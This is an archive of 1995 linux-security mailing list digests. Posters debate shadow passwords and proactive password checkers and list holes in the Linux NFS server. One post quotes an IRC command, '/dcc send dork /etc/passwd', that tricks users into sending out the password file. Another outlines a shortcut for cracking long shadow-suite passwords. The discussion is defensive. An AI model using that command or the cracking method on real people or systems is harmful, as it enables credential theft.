Hello everyone, First off, let me say I'm sorry I sent out this NFS-server posting to the alert list. This is not the way I intend to do things; I was just up to my ears in over a thousand of majordomo mails so I failed to notice. I checked out the nfs stuff today, and now I'm not so sure that this has actually been fixed already. I poked around a couple of FTP sites, and the newest version of the server I found was version 2.0 of dec 93. Another indication no-one has actually done this is that the setfsuid call is not part of libc-4.5.27. I'll see if I can put together a patch tonight for this and upload a new server to some site. I'll also put in the root_squash fix posted recently. While we're at it, are there any other known holes? Regards, Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: [email protected] (Olaf Kirch) Date: Mon, 6 Mar 1995 21:14:39 +0100 (MET) Subject: Re: Shadow Passwords? Thus spake thou, Roman Gollent: > > I was wondering if there was ever going to be a move to make shadowing > a standard, ie: Have all distributions come with shadowing by > default. Since there are many other Un*x os that come with shadowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. > There used to be some flamage over the copyright status of JF Haugh's shadow suite. As a consequence, he took part of the library and released it under the GPL; it's basically the set/getspent group of functions. In my opinion, shadow passwords can't be the ultimate in password security. The biggest problem I see with them is that they're moot in a YP environment. Adding a proactive password checker to passwd and yppasswd instead could give you a big advantage over programs such as crack that have to chew on the encrypted passwords. Plus it saves you a lot of hassle with programs you'd otherwise have to modify (rlogind, rshd, ftpd, xdm, and probably a few more). I remember there was some talk that the new version of crack would contain a cracklib that could be easily integrated into other programs. Does anyone know more about this? Regards, Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: "Frank Swasey" Date: Mon, 06 Mar 1995 15:28:43 -0500 Subject: Re: Shadow Passwords? On Mon, 06 Mar 1995 12:50:08 EST Roman Gollent wrote: > >I was wondering if there was ever going to be a move to make shadowing >a standard, ie: Have all distributions come with shadowing by >default. Since there are many other Un*x os that come with shadowing >turned on, why can't the same be done for Linux distributions, or at >least the popular ones? This isn't a criticism, just an open question. Wouldn't a reasonable first step toward making shadow passwords the standard be to have a HOWTO document that gave the steps necessary to update a program to use the shadow passwords? I know that's the part that has stopped me time and time again from makeing the move to shadowed passwords (but then I'm not connected to any networks, so it's not as important to me at this time). Frank - -- e-mail: [email protected], [email protected] Tel: 802-769-4011 (tie: 446), Fax: 802-769-4253 (tie: 446) ------------------------------ From: Kyriakos Georgiou Date: Mon, 6 Mar 1995 15:05:38 -0500 (EST) Subject: Re: Shadow Passwords? Point well taken about shadow passwds, but.. Lots of existing programs/utilities rely on the 'normal' /etv/passwd I guess the drawback of shadow'ing is the need of shadow-aware daemons/programs. A cute solution is a smarter 'passwd' program (don't allow dictionary words, follow simple rules which make brute force cracking impossible, yet such passwd restrictions may be unacceptable by users :-) - -- Kyriakos Georgiou [email protected] - -- [Moderator's (Jeff's) note: I had originally thought that the shadow discussion should end a few posts ago, but since there seem to be a lot of people that want to discuss the subject (judging by the number and variety of followup responses), it will continue at the obvious desire of a number of people on the list.] ------------------------------ From: lilo Date: Mon, 6 Mar 1995 14:51:03 -0600 (CST) Subject: Re: Sh*dow Passwords? On Mon, 6 Mar 1995, Roman Gollent wrote: > I was wondering if there was ever going to be a move to make sh*dowing > a standard, ie: Have all distributions come with sh*dowing by > default. Since there are many other Un*x os that come with sh*dowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. Several distributors of commercial Linux releases have had some difficulties with the author of the sh*dow password suite, due to his licensing requirements, which were designed to maintain personal control of the suite. He wrote a set of stubs with a GNU license, suitable for inclusion in the Linux library code, but think by the time he got to that point everyone had decided that the difficulties of dealing with him outweighed the benefits. I would like to see basic password sh*dowing support included in the Linux libraries (in such a way as to minimize the need to recompile basic utilities), but personally think it would be best to produce that functionality independently of John's code, to avoid the arguments we saw last time around. I don't think there's anything in his code that couldn't be done cleaner and simpler for inclusion in the Linux libraries. lilo ------------------------------ From: "Ian A. McCloghrie" Date: Mon, 06 Mar 1995 12:51:56 -0800 Subject: Re: Shadow Passwords? On Mar 6, 1995 Roman Gollent wrote: > I was wondering if there was ever going to be a move to make shadowing > a standard, ie: Have all distributions come with shadowing by > default. Since there are many other Un*x os that come with shadowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. IMHO, the security/cost ratio for shadow passwords is quite low. The added benefit of hidden encrypted passwords is relatively small, and the hassle of having to hack every package that wants to do user authentication before installing it is rather large. Most linux systems are used by a single person, often not on any network at all, where the likelihood of having untrustworthy users is quite small. Shadow passwords don't buy much on your average linux system. (linux systems being used for Internet Service Providing are another question entirely, of course). - -- Ian McCloghrie work: [email protected] home: [email protected] ____ GCS d-- H- s+:+ !g p?+ au a- w+ v- C+++$ UL++++ US++$ P+>++ \bi/ L+++ 3 E+ N++ K--- !W--- M-- V-- -po+ Y+ t+ 5+++ jx R G'''' \/ tv- b+++ D- B--- e- u* h- f+ r n+ y* The above represents my personal opinions and not necessarily those of my employer, Qualcomm Inc. ------------------------------ From: [email protected] (Daniel Hollis) Date: Mon, 6 Mar 1995 13:10:59 -0800 (PST) Subject: Re: Shadow Passwords? > > One of the most common hacker techniques is grabbing your /etc/passwd and > > running it against a dictionary. This only reveals poorly chosen > > passwords, but should not be possible at all. Shadow passwords defeat this. > [SNIP] > > I was wondering if there was ever going to be a move to make shadowing > a standard, ie: Have all distributions come with shadowing by > default. Since there are many other Un*x os that come with shadowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. I think the reason shadow passwords are not included in any of the linux distributions is that the shadow suite requires licensing if it's to be included in commercial distributions. But it is available for anyone to ftp freely and install themselves. (Kind of like the yp suite which requires licensing from Sun?) - -Dan ------------------------------ From: root Date: Mon, 6 Mar 1995 14:00:11 -0800 (PST) Subject: Re: Shadow Passwords? Along with the questions of why use shadow, and why isn't shadow a standard linux package, I had a problem recently on both my systems where shadow stopped working mysteriously. When I used passwd to change the password, it appended a line to the end of the shadow file, if I used usermod, it clobbered the dates for expiry, etc. Worse of course, when I tried to log in, no go, it was trying to read the passwd file instead of shadow. Finally I gave it up and put the old version of passwd back on the system, and the old login, etc. Then about 2 weeks later the same thing happened on my second system, and I had to boot off the setup floppies to get in and take the x out of the passwd file to get logged in. And then I removed shadow there as well. I am about to try it again, but I have doubts.... sean http://www.Shoostring.com/index.html Shoostring (Shoostring.com) Running Linux 1.1.83 Internet Accounts Available $30.00/6 month $50.00/year for shell $45.00/quarter $150.00/year SLIP/PPP ------------------------------ From: A Warren Pratten Date: Mon, 6 Mar 95 17:35:40 EST Subject: Re: Shadow Passwords? - -> I remember there was some talk that the new version of crack would - -> contain a cracklib that could be easily integrated into other programs. - -> Does anyone know more about this? I have used cracklib in a homegrown yppasswdd replacement we use here. It works very well and has helped this department enforce stricter choice of passwords. cracklib is very worthwhile IMHO - - Warren A Warren Pratten, Small Computer Support email: [email protected] Department of Computer Science voice: +1 519 679 2111 x6880 The University of Western Ontario fax: +1 519 661 3515 London Ontario CANADA N6A 5B7 www: http://www.csd.uwo.ca/staff/warren ------------------------------ From: Todd Larason Date: Mon, 6 Mar 1995 17:21:35 -0600 (CST) Subject: Re: Shadow Passwords? On Mon, 6 Mar 1995, Olaf Kirch wrote: > I remember there was some talk that the new version of crack would > contain a cracklib that could be easily integrated into other programs. > Does anyone know more about this? As far as I know, the 'new version' of Crack has yet to be released, but cracklib was. See volume38 of your friendly neighborhood comp.sources.misc archive (ftp.sterling.com if you don't know of one nearer) for sources. It looks useful and easily integrable into passwd(1), but I haven't actually used it (I'm the only user on my machine, and I trust myself to come up with good passwords). ------------------------------ End of linux-security-digest V1 #1 ********************************** linux-security-digest/1995/v01.n002100664 1767 1767 51207 5727045076 16061 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #2 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 7 March 1995 Volume 01 : Number 002 Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: NFS server Pro-active passwd(1)'s Secure setup for file transfer Re: NFS server Re: Shadow Passwords? Re: Sh*dow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? ---------------------------------------------------------------------- From: Elias Levy Date: Mon, 6 Mar 1995 15:20:25 -0800 (PST) Subject: Re: Shadow Passwords? On Mon, 6 Mar 1995, Olaf Kirch wrote: > > In my opinion, shadow passwords can't be the ultimate in password > security. The biggest problem I see with them is that they're moot in > a YP environment. Adding a proactive password checker to passwd and > yppasswd instead could give you a big advantage over programs such as > crack that have to chew on the encrypted passwords. Plus it saves you > a lot of hassle with programs you'd otherwise have to modify (rlogind, > rshd, ftpd, xdm, and probably a few more). > Yep eveyone should use a authentication card and punch it into ones terminal, of curse if would be public key cryptography :) But for cheper ones of us SKEY will have to to. > I remember there was some talk that the new version of crack would > contain a cracklib that could be easily integrated into other programs. > Does anyone know more about this? > cracklib is there. Do you mean a newwer one? The are actually hooks in the shadow suite for it. Compiled it here works fine. > Regards, > Olaf > -- > Olaf Kirch | --- o --- Nous sommes du soleil we love when we play > [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax > [email protected] (Elias Levy) PowerNet, Inc. ------------------------------ From: [email protected] (Ronald Watkins) Date: Mon, 06 Mar 95 15:36:28 PDT Subject: Re: Shadow Passwords? On Mon, 6 Mar 95 14:22:46 MET you wrote: >Also sprach Don Bennett: >> Would someone either tell me or point me towards a FAQ on shadow >> passwords? [snip] >I would say this dosn't belong here. I'm interested in the subject. Just signed up for the list from the announcement in c.o.l.a., and this was actually one of the questions I wanted to ask :) I'm looking, after having run Linux as a toy for about two years, at possibly setting up a dialin system of some sort... so security is abruptly becoming quite the issue. Being ignorant as anything, I appreciate any kind of discussion, even if it does clog my mailbox. :) My $0.02. Ron Watkins, aka <> | "Those of you who use the phrase, 'easy as taking Finger me for PGP key info. | candy from a baby', have obviously never tried Most opinions unproven. | taing candy from a baby!" -- R. Hood ------------------------------ From: Rik Faith Date: Mon, 6 Mar 1995 19:59:16 -0500 Subject: Re: Shadow Passwords? In general the "shadow password" technique is set up as follows: For all entries in the /etc/passwd file, the encrypted passwords are moved to another file, such as /etc/shadow. While /etc/passwd needs to be readable by the anyone on the system, /etc/shadow needs only to be readable by a restricted group, perhaps only the superuser. This is supposed to keep adversaries from obtaining the encrypted password list and running a dictionary attack against it. This idea of "information hiding" is one of many techniques that broadly fit under the category of "security through obscurity." Based on people who I have talked with in the Linux community, there are two main opinions about "security through obscurity": 1) it might help and it can't hurt, so let's use it; and 2) it actually can hurt because it provides a false sense of security and should not be used. I'm sure people will point out many advantages of using shadow passwords, so I'm going to talk about the disadvantages. The main assumption when dealing with a shadow password system is that use of this system guarantees that an adversary will not get your encrypted password list. However, there are many ways humans can make mistakes which will lead to the release of the password list. Perhaps the "adversary" actually has had root access in the past, perhaps by being in the sysadmin's office at the right time, or by being a former employee. The "adversary" might not have had the time (or the foresight) to install any backdoors, but may have swiped your password file. Or there may have been some error made in the permission setting of the /etc/shadow file -- perhaps someone did a "chmod a+r /etc/*" without thinking about the implications for /etc/shadow. Or there may have been a security problem that you just fixed after reading a CERT advisory, but which made your password list readable by anyone in the world. I'm sure you can think of many other situations in which the contents of the /etc/shadow file could be unwittingly released to an adversary. The problem with using systems like shadow passwords is that these systems give you a false sense of security -- in this case, they make you think that your password list is safe and secure. The warm, fuzzy feeling provided often prevents sysadmins from using superior, proactive methods for protecting the password file. The simplest, most-bang-for-the-buck proactive system is a simple replacement for passwd. No other system utilities need be changed -- only /bin/passwd needs replacing. There are currently several replacement passwd programs available in the unix world, such as Matt Bishop's passwd+ from dartmouth.edu:/pub/security and Mark Handerson's ANLpasswd from info.mcs.anl.gov:/pub/systems. Basically, when a user changes her password, these programs compare the selection to a dictionary (and to the gecos field, etc.) in the same way that a password cracker would. If the user has selected a "weak" password, these proactive programs force the user to make another selection. Without using a proactive password checker, you must always worry about password cracking attacks (research over the last 15 years suggests that, without a proactive checker, a large percentage of your users will select a simple, crackable password, often a women's first name). If you depend on a shadow password system to protect your passwords, then the release of your /etc/shadow will almost guarantee that your system is vulnerable. However, when using a proactive password checker, you can broadcast your passwd file to the world knowing that there is a fairly low probability that it contains passwords which are crackable in a reasonable amount of time. Forcing users to periodically select new passwords can also reduce this probability. ------------------------------ From: [email protected] (Thomas Koenig) Date: Tue, 7 Mar 1995 02:30:14 +0100 (MET) Subject: Re: NFS server > I'll see if I can put together a patch tonight for this and upload a > new server to some site. I'll also put in the root_squash fix posted > recently. While we're at it, are there any other known holes? Known holes are, or have been: - - Portmapper hole with forwarding; fixed by Vietse Venema's secure portmapper. - - Read-only export doesn't work, it is only parsed. - - user can kill of nfsd - - squash_root doesn't work (all of these in addition to the usual NFS holes). ------------------------------ From: [email protected] (Mike Williams) Date: Tue, 7 Mar 1995 14:46:05 +1300 Subject: Pro-active passwd(1)'s >>> On Mon, 6 Mar 1995 21:14:39 +0100 (MET), >>> "Olaf" == [email protected] (Olaf Kirch) wrote: Olaf> I remember there was some talk that the new version of crack would Olaf> contain a cracklib that could be easily integrated into other programs. Olaf> Does anyone know more about this? I know that there is a "cracklib" which is distributed separately from crack itself. You can find it at (for example): coast.cs.purdue.edu:/mirrors/cert.org/tools/cracklib On the subject of pro-active passwd(1) replacements, a package called 'ckpasswd' that I wrote was posted to comp.sources.unix last year (Volume 28, Issue 134). I haven't heard from anyone that's actually using it ... take from that what you will. Maybe no-one realised what it was, maybe it has major problems that no-one bothered to mentioned to me. Anyway, here's the blurb: - --- cut here -------------------------------------------------------------- ckpasswd - a password checker Mike Williams Dept. of Land and Survey Information New Zealand 21 October 1994 ckpasswd is a utility that will check the "safety" of a candidate password. It is NOT (by itself) a passwd(1) replacement, as it does none of the work of updating the /etc/passwd file, etc. (but see mpasswd, below). ckpasswd is designed to be invoked by a passwd(1) replacement to check the users candidate password. The candidate password is read from standard input. If ckpasswd determines that the password is bad, it returns an explanation of why on stdout. The calling program is expected to reject the candidate password, possibly displaying the explanation and prompting the user for another password. If the password is okay, ckpasswd just exits with no output. FEATURES - -------- * Highly configurable. * Written in perl for easy customisation. * Does not need to run setuid to root. * Can access a variety of dictionary types to check for bad passwords: - plain ASCII sorted file - case-folded sorted file (sorted with "sort -f") - DBM database - "Bloom filter" hash file - ispell(1) dictionary * Checks for password which may be based on real-world information about the user, including: - dates - phone numbers - number plates - username - user's full name - user's initials * Checks for simple transformations of words, including: - mixing case - pre-pending or appending digits/whitespace/punctuation - doubling & reflecting, eg. "blahblah", "blahhalb" * Checks for - alphabetic sequences - QWERTY sequences - host names WHY A SEPARATE PROGRAM? - ----------------------- Why put the password checking functionality in a separate program rather than (say) a C library? Well, the main reason is that I wanted to write ckpasswd in perl, to make it more portable, flexible, powerful, maintainable, etc etc. However, I didn't want to implement the entire functionality of passwd(1) in perl, for several reasons: * Implementing passwd(1) in perl may be less secure. Security could be compromised if an attacker was able to alter any of: - the passwd(1) script itself; - perl libraries included by the script; - the perl binary. As passwd(1) must run as root, I was not prepared to take the risk. * On some systems (like mine) passwd(1) may need to do various things that are not easily accomplished in perl. For instance: - update an alternate authorisation database (eg. shadow passwords); - update the NIS passwd database; - update a BIND/Hesiod passwd database. >From a security point of view, the risk is greatly reduced as ckpasswd need not run set-uid to root. In fact, the passwd(1) program could seteuid("nobody") before invoking ckpasswd. There is still the danger of an attacker modifying ckpasswd to somehow record password choices, but this is not any worse that the risk of same attacker replacing /bin/passwd! Implementing ckpasswd as a standalone program also makes it easier to upgrade, test and or invoke from other systems that need password checking functionality. A SIMPLE PASSWD(1) WRAPPER - -------------------------- Included is a simple wrapper around /bin/passwd that will make use of ckpasswd. mpasswd opens a pseudo-terminal, where it invokes /bin/passwd. Replies to the "new password" prompt are checked using ckpasswd before being passed on to the /bin/passwd process. VERSION 1.0 - ----------- Note that this is the first time I've released ckpasswd. You have been warned! Bug reports, suggestions and feedback are welcome, although I hope that it won't need too much more development. Enjoy! Mike W. ------------------------------ From: [email protected] (Jacob Navia) Date: Mon, 6 Mar 1995 23:39:49 +0100 (MET) Subject: Secure setup for file transfer [Moderator's (Jeff's) note: This question/post is more along the lines of general (secure) UNIX programming than Linux-specific security--but it does raise one interesting point: emulation of some sort of Machine ID for an i386-based Linux system, since PC's lack this as a built-in. Followups on this subject should be directed to the list, but followups related to programming a generally secure client/server (such as this one) should be directed to the author personally. Thanks.] - -- Problem: Secure setup for file transfer. I need to distribute a set of files for all customers of a software provider. The files are both executables or/and data files. The customers run under Windows (3.1) and are linked via a tcpip network to the software provider (ISDN, router setup). I have proposed a Linux server as the file server. The server will run a propietary transfer protocol. This eliminates the security holes of FTP but could possible open new ones. That's the reason of this post. 1. My protocol needs: a) Establish that the guy at the other end is the user in question. This will be done by setting up a login/password scheme. The password SHOULD be encrypted. Question: What encryption scheme should I use? b) Establish that the machine doing the call is the machine that's authorized to call. Since there is no Machine ID with PCs, I will use an encryption scheme that reads the CMOS of the machine and makes an integer out of different values like the BIOS date, the type of BIOS, and other parameters. This number will be expected by the Linux server to be sure that the machine calling is the right one. Of course any change to the machine's motherboard will need a reinstallation of the software but this is no big deal. I will use Winsockets.DLL in the windows side, and a server daemon in the Linux side. Both sides are already written without any security concerns. The security options are scheduled to be done now. The server will use a special port number to receive data. Since there is a difference between port numbers under 1024 and those above, I will use one in the 4.000 range. Is that a good idea? The server will have our own access list for checking that the customer has the right to receive the data, billing etc. What do you think? Comments welcome. ------------------------------ From: Carl V Streeter Date: Mon, 06 Mar 1995 20:45:52 CST Subject: Re: NFS server > > > I'll see if I can put together a patch tonight for this and upload a > new server to some site. I'll also put in the root_squash fix posted > recently. While we're at it, are there any other known holes? > Be careful. If it's the patch I've tried, it implements root_squash, but no no_root_squash. Ie. there is NO root access to NFS drives. On a net with controlled physical access, this seems silly. - -- Carl Streeter | "Nothing is more frightening than [email protected] | ignorance in action" --Goethe Just another Perl hacker | ...Have you seen my saltshaker? CAE Consultant | http://www.engr.wisc.edu/~streeter/ ------------------------------ From: Todd Larason Date: Mon, 6 Mar 1995 22:25:58 -0600 (CST) Subject: Re: Shadow Passwords? On Mon, 6 Mar 1995, Rik Faith wrote: I agree with everything said here, but think one point needs to be made stronger, although it may already be obvious. > Basically, when a user changes her > password, these programs compare the selection to a dictionary (and to the > gecos field, etc.) in the same way that a password cracker would. It isn't (or shouldn't be) just like a password cracker would; the routine has access to the plaintext, so can 'work backwards' to do a very thorough check cheaply. ------------------------------ From: [email protected] (Daniel Hollis) Date: Mon, 6 Mar 1995 20:19:18 -0800 (PST) Subject: Re: Sh*dow Passwords? [Mod: excessive quoting trimmed. --okir] > On Mon, 6 Mar 1995, Roman Gollent wrote: > I would like to see basic password sh*dowing support included in the > Linux libraries (in such a way as to minimize the need to recompile basic > utilities), but personally think it would be best to produce that > functionality independently of John's code, to avoid the arguments we saw > last time around. I don't think there's anything in his code that > couldn't be done cleaner and simpler for inclusion in the Linux libraries. Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the whole damned thing, and tell John to shove it. The current shadow package is a monster, there is no reason it can't be 1/2 to 1/3 the size it currently is. Does anyone know of weaknesses in the shadow package? Shortcomings? It would be a chance to correct them, if any -- and have a freely redistributable shadow package. - -Dan ------------------------------ From: [email protected] (Daniel Hollis) Date: Mon, 6 Mar 1995 20:14:35 -0800 (PST) Subject: Re: Shadow Passwords? > On Mar 6, 1995 Roman Gollent wrote: > IMHO, the security/cost ratio for shadow passwords is quite low. > The added benefit of hidden encrypted passwords is relatively small, > and the hassle of having to hack every package that wants to do > user authentication before installing it is rather large. Most linux > systems are used by a single person, often not on any network at all, > where the likelihood of having untrustworthy users is quite small. > Shadow passwords don't buy much on your average linux system. > (linux systems being used for Internet Service Providing are another > question entirely, of course). Indeed. We run an ISP and have around 250 accounts. It doesn't take much for an outsider to coerce one of your newbie users to send them a copy of /etc/passwd by telling them to "/dcc send dork /etc/passwd" from IRC. Also when running an ISP there is the issue of untrustworthy users. Shadow passwords are mainly for internal security, but will also protect you in the example above. In a related vein, has anyone had experience running identd authentication? I have used it succesfully to trace down and catch several hackers. Of course it requires the other end to be running a real identd that doesn't lie, but that number of sites seems to be increasing. And yes, FYI we do run a real identd server. - -Dan - ------------------------------------------------------------------------------ Dan Hollis | Seiyuu Daisuki! | mokkori.jcic.org servers: JCIC System Administrator | Orikasa Ai | http:LPA-HOWTO (Linux page) http://www.jcic.org/ | Yokoyama Chisa | http:SM.html (SM Records page) [email protected] | (~(^_^)~) | Ztalk (Internet voice mail) - ------------------------------------------------------------------------------ ------------------------------ From: Piers Cawley Date: Tue, 7 Mar 1995 10:14:31 +0000 (GMT) Subject: Re: Shadow Passwords? On Mon, 6 Mar 1995, Kyriakos Georgiou wrote: > Point well taken about shadow passwds, but.. > Lots of existing programs/utilities rely on the 'normal' /etv/passwd > I guess the drawback of shadow'ing is the need of shadow-aware > daemons/programs. There's not /that/ much stuff that legitimately needs access to password field of the passwd file... (Although I did get caught out when I supplied a customer with a copy of popper which had been compiled for the shadow passwords he didn't have...) > A cute solution is a smarter 'passwd' program (don't allow dictionary > words, follow simple rules which make brute force cracking impossible, > yet such passwd restrictions may be unacceptable by users :-) Can I just put a word in here for the perl based passwd program that's in the back of the camel book? This is smart enough to work with either shadow or standard password files and has a bewildering variety of checks available to build a safe password. It's also a damn sight better than the shadow suite's version of passwd which restricts the search space by insisting on a minimum length, a number or two, and mixed case... Larry's just throws out your password if it's not safe, with some explanation as to why. Piers Cawley -- Systems Sheriff on the Frontier Internet Service Frontier Internet -- Sellers of Web Space and Internet Connectivity ------------------------------ End of linux-security-digest V1 #2 ********************************** linux-security-digest/1995/v01.n003100664 1767 1767 47313 5727137577 16075 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #3 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 7 March 1995 Volume 01 : Number 003 Re: NFS server Re: Secure setup for file transfer Re: Sh*dow Passwords? Re: Sh*dow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Sh*dow Passwords? Re: NFS server Re: Sh*dow Passwords? Re: Sh*dow Passwords? Re: Secure setup for file transfer Re: Secure setup for file transfer Shadow discussions Re: Shadow Passwords? Re: Sh*dow Passwords? ---------------------------------------------------------------------- From: [email protected] (Alan Cox) Date: Tue, 7 Mar 1995 10:27:06 +0000 (GMT) Subject: Re: NFS server > > > I'll see if I can put together a patch tonight for this and upload a > > new server to some site. I'll also put in the root_squash fix posted > > recently. While we're at it, are there any other known holes? > > Known holes are, or have been: > > - Portmapper hole with forwarding; fixed by Vietse Venema's secure > portmapper. > > - Read-only export doesn't work, it is only parsed. > > - user can kill of nfsd > > - squash_root doesn't work > > (all of these in addition to the usual NFS holes). Add default exports file has a '#' at the start and at least with some nfsd variants means a machine called '#' can mount all of your disks. Alan ------------------------------ From: [email protected] (Alan Cox) Date: Tue, 7 Mar 1995 10:04:03 +0000 (GMT) Subject: Re: Secure setup for file transfer > I have proposed a Linux server as the file server. The server will run > a propietary transfer protocol. This eliminates the security holes of > FTP but could possible open new ones. That's the reason of this post. So you feel you in person can beat 12 years of debugging, CERT and the combined work of the unix world in security. > 1. My protocol needs: > a) Establish that the guy at the other end is the user in question. > This will be done by setting up a login/password scheme. The > password SHOULD be encrypted. Question: What encryption scheme > should I use? FTP + SRA encryption. Ideally you should use a Diffie Helman exchange system but you'll have to buy a patent license in the USA for that. > b) Establish that the machine doing the call is the machine that's > authorized to call. Since there is no Machine ID with PCs, I will > use an encryption scheme that reads the CMOS of the machine and > makes an integer out of different values like the BIOS date, the > type of BIOS, and other parameters. This number will be expected > by the Linux server to be sure that the machine calling is the > right one. Of course any change to the machine's motherboard will > need a reinstallation of the software but this is no big deal. Some CMOS values change. Anyone can take your binaries apart and deduce the number for a given machine. Thats a small exercise as people who've had game protection systems shredded under them will tell you. > I will use Winsockets.DLL in the windows side, and a server daemon in the > Linux side. Both sides are already written without any security concerns. > The security options are scheduled to be done now. The winsock.dll means your application can trivially be logged so your system must be immune to playback attacks on other machines. This may cause problems it means for example you can't simply use a generated machine specific key. > The server will use a special port number to receive data. Since there is > a difference between port numbers under 1024 and those above, I will use > one in the 4.000 range. Is that a good idea? It has no meaning at all. If you want secure data you have to implement a secure transfer layer. Again in the US be very careful, export of encryption can carry a prison sentence so you can't sell outside the USA. Within the USA most encryptions have software patents on them. MD5 and 3DES are options that I think are clear. > What do you think? Comments welcome. Stupid question - wouldn't caller ID on the modems be an easier technique Alan ------------------------------ From: [email protected] Date: Tue, 7 Mar 1995 10:33:30 +0100 (MET) Subject: Re: Sh*dow Passwords? > > [Mod: excessive quoting trimmed. --okir] > > Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the > whole damned thing, and tell John to shove it. The current shadow package > is a monster, there is no reason it can't be 1/2 to 1/3 the size it > currently is. > > Does anyone know of weaknesses in the shadow package? Shortcomings? It > would be a chance to correct them, if any -- and have a freely > redistributable shadow package. Talking about serious weaknesses in the shadow package: Suppose I have the password "impressive" (chosen from a much too small set-of-words in /usr/dict/words). A cracker would need to test on the order of 24000 words (the number of words in our /usr/dict/words). With shadow passwords, this wouldn't be the case. Crack the last two characters with 26*26 attempts, and bingo you've got ........ve . grep ^........ve$ /usr/dict/words |wc and you've got 46 more tries to go. In short this password, although longer than 8 characters, was substantially easier to crack than an eight character password would have been. The scheme might be a little harder when it isn't "given" that it's a word from /usr/dict/words, but substantial savings can be reached by first cracking the much-too-short second half of the 10-12 character password, and using that to limit the search for the first part. Roger. ------------------------------ From: Piers Cawley Date: Tue, 7 Mar 1995 10:25:17 +0000 (GMT) Subject: Re: Sh*dow Passwords? On Mon, 6 Mar 1995, Daniel Hollis wrote: > Does anyone know of weaknesses in the shadow package? Shortcomings? It > would be a chance to correct them, if any -- and have a freely > redistributable shadow package. Passwords are too short. Okay, you can extend to 15 characters, but from my own experience it is far easier to remember a phrase than a cryptically spelt 10 char password... Hell, then even classics like: There ain't know such thing as a 3 lunch become hard for a cracker to get to through brute force... Of course convicing two finger typist users that this would be a good thing is left as an exercise to the reader. Piers Cawley -- Systems Sheriff on the Frontier Internet Service Frontier Internet -- Sellers of Web Space and Internet Connectivity ------------------------------ From: Piers Cawley Date: Tue, 7 Mar 1995 10:29:50 +0000 (GMT) Subject: Re: Shadow Passwords? On Mon, 6 Mar 1995, Daniel Hollis wrote: > Indeed. We run an ISP and have around 250 accounts. It doesn't take much > for an outsider to coerce one of your newbie users to send them a copy of > /etc/passwd by telling them to "/dcc send dork /etc/passwd" from IRC. Consider running as a slip/ppp only site... We don't give our users shell accounts at all (and the telnet/rlogin ports are blocked out by our routers), they get thrown straight into pppd/diplogin so they don't get to go near our /etc/passwd file -- a telnet connection throws them straight into /sbin/passwd, which I'm probably going to replace with something a little more proactive and less prescriptive than the version in the shadow suite. Piers Cawley -- Systems Sheriff on the Frontier Internet Service Frontier Internet -- Sellers of Web Space and Internet Connectivity ------------------------------ From: [email protected] (Alan Cox) Date: Tue, 7 Mar 1995 09:52:37 +0000 (GMT) Subject: Re: Shadow Passwords? > I remember there was some talk that the new version of crack would > contain a cracklib that could be easily integrated into other programs. > Does anyone know more about this? Cracklib stuff has been floating around for a while. Ask Alec Muffet the author. He's also a Linux hacker so its probably ported too ;) Alan ------------------------------ From: [email protected] (Jeremy Fitzhardinge) Date: Tue, 7 Mar 1995 22:33:09 +1000 (EST) Subject: Re: Sh*dow Passwords? [email protected]: > Talking about serious weaknesses in the shadow package: > > [description of problems with "long passwords"] Yes, I've been concerned about this myself. The problem with the shadow password suite's approach is that it fails to mix around the user's input to distribute it evenly between the 2 crypted halves. Probably the best solution is to abandon the traditional "crypt" algorithm altogether, and use something like an MD5 hash. This would allow effectively unlimited password length and be slightly harder to get a cracker for (but only slightly).This would break everything wanting to do their own authentication, but that's OK if you have to modify them to use a shadow passwd file anyway. J ------------------------------ From: Marek Michalkiewicz Date: Tue, 7 Mar 1995 15:50:57 +0100 (MEZ) Subject: Re: NFS server > Known holes are, or have been: > > - Portmapper hole with forwarding; fixed by Vietse Venema's secure > portmapper. > > - Read-only export doesn't work, it is only parsed. > > - user can kill of nfsd > > - squash_root doesn't work > > (all of these in addition to the usual NFS holes). Maybe not a hole, but... map_daemon is documented in the man page, but doesn't work too (it is only parsed). On the other hand, read-only export seems to work - but I'm not sure if it really works all the time: after looking at the source I found that nfsd_nfsproc_write_2 doesn't call check_ro_attrib() even though other nfsd_nfsproc_* functions (which need to write to disk) do. If you are only using NFS for /usr and other read-only things, you could make it more secure - well, at least maybe less insecure :) - by running as non-root. It is possible because port 2049 > 1024. It will then not be able to change its uid, of course. Works at least for me... Regards, - -- Marek Michalkiewicz [email protected] || [email protected] ------------------------------ From: "Frank Swasey" Date: Tue, 07 Mar 1995 10:14:21 -0500 Subject: Re: Sh*dow Passwords? >> >> Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the >> whole damned thing, and tell John to shove it. The current shadow package >> is a monster, there is no reason it can't be 1/2 to 1/3 the size it >> currently is. As someone who is a programmer and has not even looked at the shadow code in over a year (and never seriously studied it at all) -- I'd volunteer to work on the programming side of this. Anyone want to map out ideas of how to do this? Frank - -- e-mail: [email protected], [email protected] Tel: 802-769-4011 (tie: 446), Fax: 802-769-4253 (tie: 446) ------------------------------ From: Marek Michalkiewicz Date: Tue, 7 Mar 1995 16:28:52 +0100 (MEZ) Subject: Re: Sh*dow Passwords? > Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the > whole damned thing, and tell John to shove it. The current shadow package > is a monster, there is no reason it can't be 1/2 to 